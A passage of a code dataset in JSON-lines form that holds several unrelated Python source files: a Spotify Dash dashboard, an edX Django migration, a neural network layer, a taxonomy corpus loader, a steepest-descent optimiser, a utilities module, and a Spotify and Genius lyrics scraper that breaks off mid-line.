className=\"banner\",\r\n            children=[html.Img(src=app.get_asset_url(\"Spotify_Logo_CMYK_Green.png\"))],\r\n        ),\r\n        # Left column\r\n        html.Div(\r\n            id=\"left-column\",\r\n            className=\"three columns\",\r\n            children=[description_card(), \r\n                                 \r\n                      html.P(\"Select Music Genre\", style={'textAlign': 'left','font-weight': 'bold'}),\r\n                        dcc.Dropdown(\r\n                            id=\"genre-select\",\r\n                            options=[{\"label\": i, \"value\": i} for i in genre_list],\r\n                            value=genre_list[0],\r\n                                 style={'width': '100%'}\r\n                        ),\r\n                        html.Br(),\r\n                        html.Br(),\r\n                        html.P(\"Select Artists\", style={'textAlign': 'left','font-weight': 'bold'}),\r\n                        dcc.Dropdown(\r\n                            id=\"artist-select\",\r\n                            options=[{\"label\": i, \"value\": i} for i in artist_list],\r\n                            value=artist_list[:],\r\n                            multi=True,\r\n                        ),\r\n                        html.Br(),\r\n                        html.Br(),\r\n                        html.P(\"Music Release Year\", style={'textAlign': 'left','font-weight': 'bold'}),\r\n                        dcc.Checklist(\r\n                            id=\"year-picker-select\",\r\n                            options=[{\"label\": i, \"value\": i} for i in year_list],\r\n                            value=year_list[:],\r\n                            style={\"display\":\"inline-flex\", \"flex-wrap\":\"wrap\", \"line-height\":\"28px\"},\r\n                        ), \r\n                     ],),\r\n         html.Br(),\r\n        # Right column\r\n        html.Div(\r\n            id=\"right-column\",\r\n            className=\"nine columns\",\r\n            children=[\r\n                # popularity barplot\r\n                html.Div(\r\n                    id=\"barplot_section\",\r\n                    children=[\r\n                        html.B(\"Most Followed Artists\"),\r\n                        html.Hr(),\r\n                        dcc.Graph(id=\"popularity_barplot\", figure = fig),\r\n                    ],\r\n                ),\r\n                 html.Br(),\r\n                # top 10 track table\r\n                html.Div(\r\n                    id=\"table_section\",\r\n                    children=[\r\n                        html.B(\"Top 20 Popular Tracks\"),\r\n                        html.Hr(),\r\n                        dash_table.DataTable(\r\n                            id='table',\r\n                             columns=[{\r\n                              'name': col, \r\n                              'id': df_columns[idx]\r\n                            } for (idx, col) in enumerate(data_columns)],\r\n                            data=tb.to_dict('records'),\r\n                            style_cell={'textAlign':'left', 'font-family':'sans-serif'},\r\n                           # style_cell=dict(textAlign='left'),\r\n                            style_header=dict(backgroundColor=\"lightgrey\", fontWeight='bold'),\r\n                            style_data=dict(backgroundColor=\"white\")\r\n                        )\r\n                    ],\r\n                ),\r\n            ],\r\n        ),\r\n    ]\r\n        )\r\n\r\n@app.callback(\r\n    Output(component_id = 'artist-select', component_property = 'value'),\r\n    [Input(component_id = 'genre-select', component_property = 'value')]\r\n)\r\ndef update_artist(options_chosen):\r\n    artist_list = df1[df1.new_genre == options_chosen].name.unique()\r\n    return artist_list\r\n\r\n\r\n@app.callback(\r\n    Output(component_id = 'year-picker-select', component_property = 'value'),\r\n    [Input(component_id = 'artist-select', component_property = 'value')]\r\n)\r\ndef update_year(options_chosen):\r\n    year_list = df2[df2.artists_name.isin(options_chosen)].sort_values('year', ascending = False).year.unique()\r\n    return year_list\r\n\r\n@app.callback(\r\n    Output(component_id = 'popularity_barplot', component_property = 'figure'),\r\n    [Input(component_id = 'artist-select', component_property = 'value')]\r\n)\r\ndef update_barplot(options_chosen):\r\n    dfs = df1[df1.name.isin(options_chosen)]\r\n    df_all = dfs[['name','followers','popularity']].drop_duplicates().sort_values('followers', ascending= False)\r\n    fig  = px.bar(df_all, x = 'name', y = 'followers', color = 'popularity')\r\n    fig.update_layout(\r\n        xaxis_title=\"Artist\",\r\n        yaxis_title=\"Artist Follower\",\r\n        font=dict(size=12),\r\n        xaxis_tickangle=-45\r\n    )\r\n    return fig\r\n\r\n\r\n@app.callback(\r\n    Output(component_id = 'table', component_property = 'data'),\r\n    [Input(component_id = 'artist-select', component_property = 'value'),\r\n    Input(component_id = 'year-picker-select', component_property = 'value')],\r\n)\r\ndef update_table(name,year):\r\n    tb = df2.loc[(df2.artists_name.isin(name)) &(df2.year.isin(year))].sort_values('popularity', ascending = False)[['name', 'artists_name','external_urls','popularity','album_name','year']].drop_duplicates(subset=['name']).head(20)\r\n    tb = tb.to_dict('records')\r\n    return tb\r\n\r\nserver = app.server\r\n\r\n# Run the server\r\nif __name__ == \"__main__\":\r\n    app.run_server(debug=False)\r\n","repo_name":"XiaoshuangLiu/Spotify_dashboard","sub_path":"Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":8071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12614639903","text":"from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('programs', '0003_auto_20151120_1613'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='programsapiconfig',\n            name='enable_certification',\n            field=models.BooleanField(default=False, verbose_name='Enable Program Certificate Generation'),\n        ),\n    ]\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/programs/migrations/0004_programsapiconfig_enable_certification.py","file_name":"0004_programsapiconfig_enable_certification.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"13418952756","text":"import numpy as np\n\nclass Layer(BaseLayer):\n    \"\"\"\n    Typical Feed-Forward, Full Connected Layer with Activation and Batch Normalization options.\n    Requires that another BaseLayer object come after, so a separate type of Layer is used for output.\n    \"\"\"\n    def __init__(self, size_in, size_out, activation_func=Sigmoid(), learn_rate=1e-3, batch_norm_p=1):\n        super().__init__()\n        self.w = {\"array\": np.random.randn(size_in, size_out) * np.sqrt(1 / (size_in + size_out))}\n        self.b = {\"array\": np.random.randn(1, size_out) * np.sqrt(1 / (size_in + size_out))}\n        self.activation_func = activation_func\n        self.learn_rate = learn_rate\n        self.batch_norm_p = batch_norm_p\n        self.mu_h = 0\n        self.sig_h = 1\n\n    def forward(self, z_in):\n        h = z_in @ self.w[\"array\"] + self.b[\"array\"]\n        mu_h = np.mean(h, keepdims=True, axis=0)\n        self.mu_h = self.mu_h * self.batch_norm_p + mu_h * (1 - self.batch_norm_p)\n        sig_h = np.std(h, keepdims=True, axis=0)\n        self.sig_h = self.sig_h * self.batch_norm_p + sig_h * (1 - self.batch_norm_p)\n        h_norm = (h - self.mu_h) / self.sig_h\n        z_out = self.activation_func(h_norm)\n        return self.after.forward(z_out) if not self.after == None else z_out\n\n    def backward(self, z_in, y):\n        h = z_in @ self.w[\"array\"] + self.b[\"array\"]\n        mu_h = np.mean(h, keepdims=True, axis=0)\n        self.mu_h = self.mu_h * self.batch_norm_p + mu_h * (1 - self.batch_norm_p)\n        sig_h = np.std(h, keepdims=True, axis=0)\n        self.sig_h = self.sig_h * self.batch_norm_p + sig_h * (1 - self.batch_norm_p)\n        h_norm = (h - self.mu_h) / self.sig_h\n        z_out = self.activation_func(h_norm)\n\n        grad_after = self.after.backward(z_out, y)\n        grad_h_norm = grad_after * self.activation_func.grad(h_norm)\n        grad_h = grad_h_norm / self.sig_h\n\n        grad_w = z_in.T @ grad_h\n        grad_b = np.sum(grad_h, axis=0)\n        grad_z_in = grad_h @ self.w[\"array\"].T\n\n        self.w[\"grad\"] = grad_w\n        self.b[\"grad\"] = grad_b\n\n        return grad_z_in\n\n    def predict(self, z_in):\n        return self.after.predict(self.forward(z_in))\n\n    def get_parameters(self):\n        parameters = self.after.get_parameters()\n        my_parameters = [self.w, self.b]\n        parameters.extend(my_parameters)\n        return parameters","repo_name":"yeff-bridges/CodeSamples","sub_path":"MachineLearning/FromScratch/Models/NeuralNetworks/Layer.py","file_name":"Layer.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29487812846","text":"import os\nimport math\nimport numpy as np\nfrom collections import defaultdict\n\nimport filenames\n\n# Entire input corpus\nclass DataSet:\n    def __init__(self, doc_file, index_file, term_freq_file, taxo_file, integrity_file):\n        self.docs = self.load_docs(doc_file)\n        self.term_doc_map = self.load_index(index_file)\n        self.term_freq_map = self.load_term_freq(term_freq_file)\n        self.term_integrity = self.load_term_integrity(integrity_file)\n        self.taxonomy = self.load_taxonomy(taxo_file)\n        self.center_terms = [term for terms in self.taxonomy.values() for term in terms]\n        \n    def load_docs(self, doc_file):\n        docs = []\n        with open(doc_file, 'r') as fin:\n            for line in fin:\n                terms = line.strip().split()\n                docs.append(terms)\n        return docs\n    \n    def load_index(self, index_file):\n        term_doc_map = {}\n        with open(index_file, 'r') as f:\n            for line in f:\n                term, doc_ids = line.strip('\\r\\n').split('\\t')\n                doc_ids = doc_ids.split(',')\n                if len(doc_ids) > 0 and doc_ids[0] == '':\n                    continue\n                term_doc_map[term] = set([int(x) for x in doc_ids])\n        return term_doc_map\n\n    def load_term_integrity(self, integrity_file):\n        if not os.path.isfile(integrity_file): return None\n        term_integrity = {}\n        with open(integrity_file, 'r') as f:\n            for line in f:\n                term, integrity_score = line.split('\\t')\n                if term in self.term_doc_map:\n                    term_integrity[term] = float(integrity_score)\n        return term_integrity\n\n    def load_term_freq(self, term_freq_file):\n        term_freq_map = {}\n        with open(term_freq_file, 'r') as f:\n            for line in f:\n                segments = line.strip('\\n\\r ').split('\\t')\n                doc_id = int(segments[0])\n                term_freq_map[doc_id] = {}\n                for i in range(1, len(segments), 2):\n                    term, w = segments[i], int(segments[i+1])\n                    term_freq_map[doc_id][term] = w\n        return term_freq_map        \n\n    def load_taxonomy(self, taxo_file):\n        taxonomy = {}\n        with open(taxo_file, 'r') as f:\n            for line in f:\n                segments = line.strip('\\n\\r ').split('\\t')\n                parent_node, child_nodes = segments[0], segments[1:]\n                taxonomy[parent_node] = child_nodes\n        return taxonomy     \n\n# Sub-corpus for each topic node\nclass SubDataSet:\n    def __init__(self, input_corpus, doc_id_file, term_file, emb_file, cemb_file=''):\n        self.embeddings = self.load_raw_embeddings(emb_file)\n        \n        self.terms = self.load_terms(term_file)\n        self.term_to_id = self.gen_term_id()\n        self.term_set = set(self.terms)\n        self.term_embeddings = self.get_term_embeddings()\n\n        self.docs, self.doc_ids = self.load_documents(input_corpus, doc_id_file)\n        self.center_embeddings = self.load_embeddings(cemb_file)\n        \n        self.term_idf = self.build_term_idf()\n\n    def load_terms(self, term_file):\n        terms = []\n        with open(term_file, 'r') as fin:\n            for line in fin:\n                term = line.strip()\n                if term in self.embeddings:\n                    terms.append(term)\n        return terms\n\n    def gen_term_id(self):\n        term_to_id = {}\n        for idx, term in enumerate(self.terms):\n            term_to_id[term] = idx\n        return term_to_id\n\n    def load_raw_embeddings(self, emb_file):\n        term_to_vec = {}\n        with open(emb_file, 'r', encoding='utf8', errors='ignore') as fin:\n            header = fin.readline()\n            for line in fin:\n                items = line.strip().split()\n                word = items[0]\n                vec = [float(v) for v in items[1:]]\n                term_to_vec[word] = vec\n        return term_to_vec\n\n    def load_embeddings(self, emb_file):\n        if not os.path.isfile(emb_file): return []\n        embeddings = []\n        with open(emb_file, 'rb') as fin:\n            header = fin.readline()\n            for line in fin:\n                items = line.strip().split()\n                vec = [float(v) for v in items[1:]]\n                embeddings.append(vec)\n            if len(embeddings) > 0:\n                embeddings = np.array(embeddings)\n                embeddings /= np.sqrt(np.sum(embeddings ** 2, axis=1, keepdims=True))\n        return embeddings\n\n    def load_documents(self, input_corpus, doc_id_file):\n        trimmed_doc_ids, trimmed_docs = [], []\n        doc_ids = self.load_doc_ids(doc_id_file)\n        for doc_id in doc_ids:\n            doc = input_corpus.docs[doc_id]\n            trimmed_doc = [e for e in doc if e in self.term_set]\n            if len(trimmed_doc) > 0:\n                trimmed_doc_ids.append(doc_id)\n                trimmed_docs.append(trimmed_doc)\n        return trimmed_docs, trimmed_doc_ids\n\n    def load_doc_ids(self, doc_id_file):\n        doc_ids = []\n        with open(doc_id_file, 'r') as fin:\n            for line in fin:\n                doc_id = int(line.strip())\n                doc_ids.append(doc_id)\n        return doc_ids\n\n    def get_term_embeddings(self):\n        term_embeddings = []\n        for word in self.terms:\n            term_embeddings.append(self.embeddings[word])\n        term_embeddings = np.array(term_embeddings)\n        term_embeddings /= np.sqrt(np.sum(term_embeddings ** 2, axis=1, keepdims=True))\n        return term_embeddings\n\n    def build_term_idf(self):\n        term_idf = defaultdict(float)\n        for doc in self.docs:\n            word_set = set(doc)\n            for word in word_set:\n                if word in self.term_set:\n                    term_idf[word] += 1.0\n        N = len(self.docs)\n        for w in term_idf:\n            term_idf[w] = math.log(1.0 + N / term_idf[w])\n        return term_idf\n\n    def get_doc_assignment(self, n_cluster, document, term_assignment, term_scores):\n        doc_membership = [0.0] * n_cluster\n        for term in document:\n            term_id = self.term_to_id[term]\n            clus_id = term_assignment[term_id]\n            if clus_id is not None:\n                idf = self.term_idf[term]\n                rel = term_scores[term]\n                doc_membership[clus_id] += idf * rel\n        doc_assignment = doc_membership.index(max(doc_membership))\n        return doc_assignment\n\n    def get_doc_clusters(self, term_clusters, term_scores):\n        term_assignment = [None] * len(self.term_to_id)\n        for clus_id, terms in term_clusters.items():\n            for term in terms:\n                term_id = self.term_to_id[term]\n                term_assignment[term_id] = clus_id\n        n_cluster = len(term_clusters)\n        doc_clusters = defaultdict(list)\n        for idx, doc in zip(self.doc_ids, self.docs):\n            doc_assignment = self.get_doc_assignment(n_cluster, doc, term_assignment, term_scores)\n            doc_clusters[doc_assignment].append(idx)\n        return doc_clusters\n\n","repo_name":"postech-di-lab/METIS","sub_path":"database-layer/incremental-learning-module/taxocom/code/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7057,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"3"}
+{"seq_id":"25022905194","text":"#!/usr/bin/python3\n# -*- coding : utf-8 -*-\n# @Time : 2020/12/25 12:35\n# @Author : Cheng\n# @File : 最速下降法.py\n# @Software : PyCharm\n\nimport numpy as np\nfrom sympy import *\nimport math\n\n# 定义符号\nx1, x2, t = symbols('x1, x2, t')\n\ndef func():\n    # 自定义一个函数\n    return 0.5*pow(x1, 2) + 2.5 * pow(x2, 2)\n\ndef grad(data):\n    # 求梯度向量,data=[data1, data2]\n    f = func()\n    grad_vec = [diff(f, x1), diff(f, x2)]  # 求偏导数,梯度向量\n    grad = []\n    for item in grad_vec:\n        grad.append(item.subs(x1, data[0]).subs(x2, data[1]))\n    return grad\n\ndef grad_len(grad):\n    # 梯度向量的模长\n    vec_len = math.sqrt(pow(grad[0], 2) + pow(grad[1], 2))\n    return vec_len\n\ndef zhudian(f):\n    # 求得min(t)的驻点\n    t_diff = diff(f)\n    t_min = solve(t_diff)\n    return t_min\n\ndef main(X0, theta):\n    f = func()\n    grad_vec = grad(X0)\n    grad_length = grad_len(grad_vec)  # 梯度向量的模长\n    k = 0\n    data_x = [0]\n    data_y = [0]\n    while grad_length > theta:  # 迭代的终止条件\n        k += 1\n        p = -np.array(grad_vec)\n        # 迭代\n        X = np.array(X0) + t*p\n        t_func = f.subs(x1, X[0]).subs(x2, X[1])\n        t_min = zhudian(t_func)\n        X0 = np.array(X0) + t_min*p\n        grad_vec = grad(X0)\n        grad_length = grad_len(grad_vec)\n        # print('grad_length', grad_length)\n        print('第{}次迭代'.format(k))\n        print('最优解{},{}'.format(X0[0], X0[1]))\n        data_x.append(X0[0])\n        data_y.append(X0[1])\n    print('阈值：{};迭代次数：{}'.format(a,k))\n\nif __name__ == '__main__':\n    # 给定初始迭代点和阈值\n    a = 0.01\n    main([5, 1], a)","repo_name":"1552845373/Python","sub_path":"机器学习/最速下降法.py","file_name":"最速下降法.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36043044338","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport string\nfrom importlib import import_module\nfrom pkgutil import iter_modules\nimport re\nfrom urllib.parse import urlsplit\nimport json\nimport socket\nimport jsonschema\nfrom shutil import copy2, copystat\n\n\ndef walk_modules(path):\n    \"\"\"Loads a module and all its submodules from the given module path and\n    returns them. If *any* module throws an exception while importing, that\n    exception is thrown back.\n    For example: walk_modules('devspace.utils')\n    \"\"\"\n\n    mods = []\n    mod = import_module(path)\n    mods.append(mod)\n    if hasattr(mod, '__path__'):\n        for _, subpath, ispkg in iter_modules(mod.__path__):\n            fullpath = path + '.' + subpath\n            if ispkg:\n                mods += walk_modules(fullpath)\n            else:\n                submod = import_module(fullpath)\n                mods.append(submod)\n    return mods\n\n\ndef url_validator(url: str):\n    ul = '\\u00a1-\\uffff'  # Unicode letters range (must not be a raw string).\n\n    # IP patterns\n    ipv4_re = r'(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}'\n    ipv6_re = r'\\[[0-9a-f:.]+\\]'  # (simple regex, validated later)\n\n    # Host patterns\n    hostname_re = r'[a-z' + ul + r'0-9](?:[a-z' + ul + r'0-9-]{0,61}[a-z' + ul + r'0-9])?'\n    # Max length for domain name labels is 63 characters per RFC 1034 sec. 3.1\n    domain_re = r'(?:\\.(?!-)[a-z' + ul + r'0-9-]{1,63}(?<!-))*'\n    tld_re = (\n            r'\\.'  # dot\n            r'(?!-)'  # can't start with a dash\n            r'(?:[a-z' + ul + '-]{2,63}'  # domain label\n                              r'|xn--[a-z0-9]{1,59})'  # or punycode label\n                              r'(?<!-)'  # can't end with a dash\n                              r'\\.?'  # may have a trailing dot\n    )\n    host_re = '(' + hostname_re + domain_re + tld_re + '|localhost)'\n    regex = re.compile(\n        r'^(?:[a-z0-9.+-]*)://'  # scheme is validated separately\n        r'(?:[^\\s:@/]+(?::[^\\s:@/]*)?@)?'  # user:pass authentication\n        r'(?:' + ipv4_re + '|' + ipv6_re + '|' + host_re + ')'\n        r'(?::\\d{2,5})?'  # port\n        r'(?:[/?#][^\\s]*)?'  # resource path\n        r'\\Z', re.IGNORECASE)\n    schemes = ['http', 'https']\n    scheme = url.split('://')[0].lower()\n    if scheme not in schemes:\n        return False\n    if len(urlsplit(url).netloc) > 253:\n        return False\n    return re.search(regex, url) is not None\n\n\ndef inside_project():\n    return bool(find_project_config())\n\n\ndef find_project_config(path='.', prev_path=None):\n    if path == prev_path:\n        return ''\n    path = os.path.abspath(path)\n    conf_file = os.path.join(path, 'devspace.json')\n    if os.path.exists(conf_file):\n        return conf_file\n    return find_project_config(os.path.dirname(path), path)\n\n\ndef get_project_settings(settings=None):\n    conf_file = find_project_config()\n    if settings and conf_file:\n        schema_file = settings.get('PROJECT_SCHEMA', '')\n        if not schema_file:\n            print(\"Can't get schema file from setting\")\n            return False\n        with open(schema_file, 'r') as f:\n            schema = json.load(f)\n        with open(conf_file, 'r') as f:\n            data = json.load(f)\n        try:\n            jsonschema.validate(instance=data, schema=schema)\n            with open(conf_file, 'r', encoding=\"utf-8\") as f:\n                values = f.read()\n                settings.set_dict(values)\n            return True\n        except jsonschema.exceptions.ValidationError as e:\n            print(\"Wrong project file format: \\n {}\".format(e.message))\n            return False\n    return False\n\n\ndef get_project_dir():\n    conf_file = find_project_config()\n    return os.path.dirname(conf_file) if conf_file else \"\"\n\n\ndef get_project_host():\n    conf_file = find_project_config()\n    if conf_file:\n        with open(conf_file, 'r', encoding=\"utf-8\") as f:\n            config = json.load(f)\n            return config['host']\n    else:\n        return ''\n\n\ndef get_project_maintainer():\n    conf_file = find_project_config()\n    if conf_file:\n        with open(conf_file, 'r', encoding=\"utf-8\") as f:\n            config = json.load(f)\n            return config['maintainer']\n    else:\n        return ''\n\n\ndef arglist_to_dict(arglist):\n    return dict(x.split('=', 1) for x in arglist)\n\n\ndef copytree(src, dst, ignore=None):\n    names = os.listdir(src)\n    if ignore is not None:\n        ignored_names = ignore(src, names)\n    else:\n        ignored_names = set()\n\n    if not os.path.exists(dst):\n        os.makedirs(dst)\n\n    for name in names:\n        if name in ignored_names:\n            continue\n\n        src_name = os.path.join(src, name)\n        dst_name = os.path.join(dst, name)\n        if os.path.isdir(src_name):\n            copytree(src_name, dst_name, ignore)\n        else:\n            copy2(src_name, dst_name)\n    copystat(src, dst)\n\n\ndef render_template(template_path, dst_path, **kwargs):\n    with open(template_path, 'rb') as fp:\n        raw = fp.read().decode('utf8')\n\n    content = string.Template(raw).safe_substitute(**kwargs)\n\n    with open(dst_path, 'wb') as fp:\n        fp.write(content.encode('utf8'))\n\n\ndef github_validator(name_or_repo: str):\n    regex = re.compile(\n        r'^([a-zA-Z\\d](?:[a-zA-Z\\d]|-(?=[a-zA-Z\\d])){0,38})(\\/[\\w.-]{1,100})?$',\n        re.IGNORECASE)\n    return True if re.match(regex, name_or_repo) else False\n\n\ndef name_validator(name: str, length: int = 9):\n    regex = re.compile(\n        r'^([a-zA-Z\\d](?:[a-zA-Z\\d]|-(?=[a-zA-Z\\d])){0,%s})$' % length,\n        re.IGNORECASE)\n    return True if re.match(regex, name) else False\n\n\ndef get_host_ip():\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.connect(('8.8.8.8', 80))\n        ip = s.getsockname()[0]\n    finally:\n        s.close()\n    return ip\n\n\ndef get_path_uri(path):\n    schema_path = os.path.abspath(path)\n    if sys.platform == \"win32\":\n        scheme = \"///\"\n        schema_path = schema_path.replace('\\\\', '/')\n    else:\n        scheme = \"//\"\n    return \"file:{}{}/\".format(scheme, schema_path)\n","repo_name":"d12y12/DevSpace","sub_path":"devspace/utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":6100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2627891235","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport os\r\nimport json\r\nimport io\r\nimport time\r\nimport sys\r\nimport glob\r\nimport shutil\r\nimport argparse\r\nimport spotipy\r\nimport spotipy.util as util\r\n# import decorators\r\nfrom decorators import ResponseTimer\r\n# import char_remover\r\nfrom formatters import char_remover\r\n\r\n\r\nclass Lyrics:\r\n    '''\r\n    Class Api that gets lyrics for the currently playing song on spotify via the\r\n    spotify api and the genius api.\r\n    '''\r\n    def __init__(self):\r\n        '''\r\n        Sets functionality based on argparse arguments.\\n\r\n        Defines instance variables via os.environ to aid the api requests\r\n        and the Spotify Authorization flow\r\n        '''\r\n        #argparse stuff\r\n        parser = argparse.ArgumentParser()\r\n        parser.add_argument('--web', '-w', dest='web', action=\"store_true\", default=False)\r\n        parser.add_argument('--debug', '-d', dest='debug', action=\"store_true\", default=False)\r\n        parser.add_argument('--interval, -i', dest='interval', action='store', type=float, default=5)\r\n        args = parser.parse_args()\r\n        self.CONSOLE = False if args.web else True\r\n        #debug bool\r\n        self.debug = args.debug\r\n        #testing logging functions\r\n        if self.debug:\r\n            requests.get = ResponseTimer(requests.get)\r\n        #base path set on environment variable (multi-platform)\r\n        self.BASE_PATH = os.environ['LYRICS_PATH']\r\n        self.PYTHON_PATH = os.path.join(self.BASE_PATH , \"python\")\r\n        self.JSON_PATH = os.path.join(self.BASE_PATH, \"json\")\r\n        #location of lyrics for currently playing song\r\n        self.LYRICS_FILE = 'lyrics.txt'\r\n        self.FULL_LYRICS_PATH = os.path.join(self.BASE_PATH, self.LYRICS_FILE)\r\n        #location of where to save album cover art and lyrics\r\n        self.ALBUM_PATH = os.environ['LYRICS_ALBUM']\r\n        #URL of API\r\n        self.BASE_URL = {'genius': 'https://api.genius.com/search',\r\n                         'spotify': 'https://api.spotify.com/v1/me/player'}\r\n        # Aythentication variables from environment\r\n        self.CLIENT_ID = os.environ['LYRICS_CLIENT_ID']\r\n        self.CLIENT_SECRET = os.environ['LYRICS_CLIENT_SECRET']\r\n        self.USERNAME = os.environ['LYRICS_USERNAME']\r\n        #callback URI set in your spotify app. see https://developer.spotify.com/dashboard/login\r\n        self.REDIRECT_URI = 'https://example.com/callback'\r\n        #token API\r\n        self.SPOTIFY_API = 'https://accounts.spotify.com/api/token'\r\n        #scope necessary\r\n        self.SCOPE = 'user-read-playback-state user-read-currently-playing user-library-read'\r\n        #sets cache path\r\n        self.CACHE_PATH = os.path.join(self.JSON_PATH, f\".cache-{self.USERNAME}\")\r\n        #headers for each API\r\n        self.HEADERS = {\r\n            'genius': {\r\n                'Authorization':  f'Bearer {os.environ[\"LYRICS_GENIUS_TOKEN\"]}'},\r\n            'spotify': {\r\n                'Authorization':  f'Bearer {self.access_token}',\r\n                'Accept': 'application/json',\r\n                'Content-Type': 'application/json'\r\n            }\r\n        }\r\n        # interval to make requests to API\r\n        self.sleep = args.interval\r\n        #call to main function\r\n        self.main()\r\n\r\n    def main(self):\r\n        '''\r\n        Main loop. Circles through getting results from spotify api and comparing the currently playing song to the latest song fetched.\\n\r\n        If it is the same, doesn't gets the lyrics. If the song is different than the last one, fetchces the lyrics from the genius api.\r\n        '''\r\n        #the program consists of looping through this main function\r\n        while True:\r\n            try:\r\n                #call to spotify api to get live status\r\n                self.spotify()\r\n                #checks the currently playing song\r\n                self.check()\r\n                #checks if the song is the same since the last loop\r\n                if self.HEAD == self.CURRENT_SONG:\r\n                    #if it is then sleeps and loop again\r\n                    time.sleep(self.sleep)\r\n                #if the song has changed, calls the genius API\r\n                else:\r\n                    #call to genius api\r\n                    self.genius()\r\n            except AttributeError as e:\r\n                if 'HEAD' in e.args[0]:\r\n                    pass\r\n                else:\r\n                    raise e\r\n            except KeyboardInterrupt:\r\n                break\r\n\r\n    def spotify(self):\r\n        '''\r\n        Interface for Spotify Api.\\n\r\n        If there is a song playing, status_code is 200 and returns Json.\\n\r\n        If there's nothing playing, status_code is 204 and returns None\\n\r\n        If Oauth is expired, status_code is 401 and calls for self.authenticate()\\n\r\n        '''\r\n        #request to spotify API | look for scopes in the self.HEADERS\r\n        with requests.get(self.BASE_URL['spotify'], headers=self.HEADERS['spotify']) as response:\r\n            if response.status_code == 200:  # OK\r\n                # try:\r\n                self.js = response.json()\r\n                #writes json to a file\r\n                #note that this is required for other functionality\r\n                self.serialize('spotify', self.js)\r\n                #sets current variables from the song\r\n                self.song = self.js['item']['name']\r\n                self.artist = self.js['item']['artists'][0]['name']\r\n                self.album = self.js['item']['album']['name']\r\n                self.album_dir = char_remover(f'{self.album} - {self.artist}', replacer='x')\r\n                self.HEAD = f'{self.song} - {self.artist}'\r\n\r\n            #if nothing is playing the loop goes back to self.main()\r\n            elif response.status_code == 204:  # No content\r\n                if self.CONSOLE:\r\n                    print('Not listening to anything at the moment.', end='\\r')\r\n                time.sleep(self.sleep)\r\n\r\n            elif response.status_code == 429:  # Too many requests\r\n                retry = response.headers[\"Retry-After\"]\r\n                print(f'Too many requests. Sleeping for {retry} seconds.')\r\n                self.sleep += 1\r\n\r\n            elif response.status_code == 401:  # Unauthorized\r\n                #call to the spotipy token handler\r\n                self.authenticate()\r\n\r\n            else:\r\n                print(f\"Unhandled status code {response.status_code}\")  # Unhandled\r\n                response.raise_for_status()\r\n\r\n    def genius(self):\r\n        '''\r\n        Interface for Genius Api.\\n\r\n        Requests information about the current song, returns Json of possible matches.\\n\r\n        Searches for the exact match for the artist's name and song's name.\\n\r\n        If a match is found, scrapes the url for lyrics.\\n\r\n        '''\r\n        if self.CONSOLE:\r\n            print('Crossing references with Genius\\'s database...', end=\"\\r\")\r\n        #call to API\r\n        data = {'q': f'{self.song} {self.artist}'}\r\n        with requests.get(self.BASE_URL['genius'], headers=self.HEADERS['genius'], data=data) as response:\r\n            js = response.json()\r\n        if self.debug:\r\n            #if debug=True writes json to a file\r\n            self.serialize('genius', js)\r\n        song_hit = None\r\n        #basically checks if the song from spotify has an entry on genius database\r\n        for hit in js['response']['hits']:\r\n            if self.artist.lower() in hit['result']['primary_artist']['name'].lower():\r\n                song_hit = hit\r\n                break\r\n            elif self.song.lower() in hit['result']['title'].lower():\r\n                song_hit = hit\r\n                break\r\n        #if it does, grabs the URL for the lyrics\r\n        if song_hit:\r\n            self.genius_url = song_hit['result']['url']\r\n            #call for the web scraper\r\n            self.scraper()\r\n        else:\r\n            if self.CONSOLE:\r\n                print(f'Could not find lyrics for {self.HEAD}', end=\"\\r\")\r\n            time.sleep(self.sleep)\r\n        #writes the lyrics to a file\r\n        self.writer(self.FULL_LYRICS_PATH)\r\n\r\n    def scraper(self):\r\n        '''Scrapes the url searching for <div ... class_=\"lyrics\" ... >\\n'''\r\n        #this print has  to be this long so it erases the genius print\r\n        print('retrieving lyrics...                          ', end=\"\\r\")\r\n        page = requests.get(self.genius_url)\r\n        html = BeautifulSoup(page.text, 'html.parser')\r\n        [h.extract() for h in html('script')]\r\n        #going through source page, the lyrics are identified as such\r\n        self.LYRICS = html.find('div', class_='lyrics').get_text()\r\n        if self.CONSOLE:\r\n            print('-'*70, '\\n')\r\n            print(self.HEAD)\r\n            print(self.LYRICS)\r\n        # self.poster({\"HEAD\": self.HEAD, \"BODY\": self.LYRICS})\r\n        #writes the lyric to the album lyrics\r\n        self.lywriter()\r\n\r\n    def check(self):\r\n        '''Gets the current song and sets self.CURRENT_SONG'''\r\n        try:\r\n            with io.open(self.FULL_LYRICS_PATH, 'r', encoding='utf-8') as f:\r\n                self.CURRENT_SONG = f.readline().strip('\\n')\r\n        except Exception as e:\r\n            if self.debug:\r\n                print(e)\r\n            with io.open(self.FULL_LYRICS_PATH, 'w', encoding='utf-8') as f:\r\n                self.CURRENT_SONG = \"\"\r\n                f.write(\"\")\r\n\r\n    def lywriter(self):\r\n        '''Writes lyrics to the albums folder, then calls self.downloader()'''\r\n        #globs all files to search if the currently playing song's album has been created\r\n        albums = glob.glob(os.path.join(self.ALBUM_PATH, \"*\"))\r\n        full_album_dir = os.path.join(\r\n            self.ALBUM_PATH, char_remover(self.album_dir, 